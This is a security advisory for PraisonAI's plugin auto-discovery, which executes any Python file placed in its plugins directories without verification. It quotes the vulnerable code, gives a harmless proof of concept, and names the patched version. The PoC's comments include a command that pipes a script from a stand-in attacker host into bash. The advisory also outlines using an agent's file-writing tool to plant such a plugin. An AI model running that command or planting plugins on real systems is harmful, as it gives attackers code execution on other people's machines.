---
id: CVE-2026-61446
aliases:
  - GHSA-m6wp-h223-4c8g
title: >-
  PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without
  Verification
summary: >-
  PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without
  Verification
severity: high
cvss: 8.4
cwe:
  - CWE-94
  - CWE-427
vendor: praisonaiagents
product: praisonaiagents
ecosystem: pip
affected:
  - praisonaiagents <= 1.6.77
patched:
  - praisonaiagents 1.6.78
published: '2026-10-08'
updated: '2026-10-08'
sourceUpdated: '2026-10-08T16:44:05Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-m6wp-h223-4c8g'
references:
  - url: >-
      https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8g
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-61446'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-62165'
  - url: >-
      https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discovery
  - url: 'https://github.com/advisories/GHSA-m6wp-h223-4c8g'
tags:
  - ghsa
  - pip
epss: 0.00325
epssPercentile: 0.23536
ingestedAt: '2026-10-08T16:52:14.778Z'
---

## Overview

### Summary
The plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

### Details

`src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196):

```python
def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
    module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
    spec = importlib.util.spec_from_file_location(module_name, file_path)
    module = importlib.util.module_from_spec(spec)
    sys.modules[module_name] = module
    spec.loader.exec_module(module)  # Executes arbitrary Python code

    if hasattr(module, "create_plugin"):
        return module.create_plugin()  # Calls arbitrary function
```

`src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39):

```python
# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/
```

No code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file's docstring header.


### PoC

```python
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os

# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
    f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
            'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
            '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
            'def create_plugin():\n    return {"name": "evil"}\n')

# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}")  # {'name': 'Evil Plugin', ...}

# Verify code executed
import sys
for name, mod in sys.modules.items():
    if 'evil' in name:
        print(f"EXPLOIT CONFIRMED: {mod.PROOF}")  # "CODE_EXECUTED_AT_IMPORT_TIME"
```

**Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time.

### Impact

- **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access
- **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization
- **Persistence**: A planted plugin survives restarts and executes every time the framework starts
- **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely

## Affected packages

- `praisonaiagents <= 1.6.77`

## Remediation

Upgrade to a patched release:

- `praisonaiagents 1.6.78`
